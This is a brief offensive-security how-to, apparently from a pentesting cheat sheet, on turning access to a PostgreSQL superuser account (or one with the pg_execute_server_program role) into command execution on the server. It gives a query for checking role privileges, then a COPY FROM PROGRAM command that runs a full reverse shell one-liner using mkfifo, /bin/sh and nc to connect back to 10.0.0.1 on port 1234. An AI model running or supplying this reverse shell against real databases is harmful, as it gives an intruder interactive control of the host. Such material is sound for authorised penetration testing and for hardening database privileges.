Table of Contents


Summery

This is a simple way to get RCE if you have access to a PostgreSQL account.
Note, that this approach requires you to have superuser account or the pg_execute_server_program role.

To check your permissions you can run \du or you can run this query for more details:

SELECT   
      r.rolname,   
      r.rolsuper,   
      r.rolinherit,  
      r.rolcreaterole,  
      r.rolcreatedb,  
      r.rolcanlogin,  
      r.rolconnlimit, r.rolvaliduntil,  
  ARRAY(SELECT b.rolname  
        FROM pg_catalog.pg_auth_members m  
        JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)  
        WHERE m.member = r.oid) as memberof  
, r.rolreplication  
FROM pg_catalog.pg_roles r  
ORDER BY 1;

If your permissions are correct, here are the steps.
Firstly, create a table in the database with CREATE TABLE shell(output text);.

Then run the shell:
COPY shell FROM PROGRAM ‘rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f’;

References

https://medium.com/r3d-buck3t/command-execution-with-postgresql-copy-command-a79aef9c2767